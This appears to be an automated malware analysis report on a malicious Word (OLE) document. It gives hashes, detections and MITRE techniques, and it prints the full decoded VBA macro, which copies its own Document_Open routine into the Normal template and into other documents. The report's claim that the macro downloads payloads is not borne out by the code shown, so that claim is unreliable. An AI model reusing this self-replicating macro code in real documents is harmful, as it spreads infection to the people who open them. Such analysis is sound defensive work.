Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3db673d07a5d35e9…

MALICIOUS

Office (OLE)

40.0 KB Created: 2013-12-10 09:03:00 Authoring application: Microsoft Office Word First seen: 2015-09-20
MD5: 465ef38c1501e3ea2b6eb391ec3830d0 SHA-1: 4b7cd7e08b63619cde880f1851f9978a8be19b0a SHA-256: 3db673d07a5d35e9f740bfd6fe134a3c5fa8b00a2706d533a67de3a1239b11cf
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing a VBA macro that triggers on Document_Open. This macro is designed to inject and execute code, a common technique for downloading and running further malicious payloads. The ClamAV detection 'Doc.Trojan.Locale-1' further supports its malicious nature. No specific family could be identified, but the technique strongly suggests a downloader or droppper.

Heuristics 4

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1652 bytes
SHA-256: ea5132b39ba3be17e1a2b227ffc9c638ae4d94f78535bfd2113f19d22b11d558
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set NewDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
      With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

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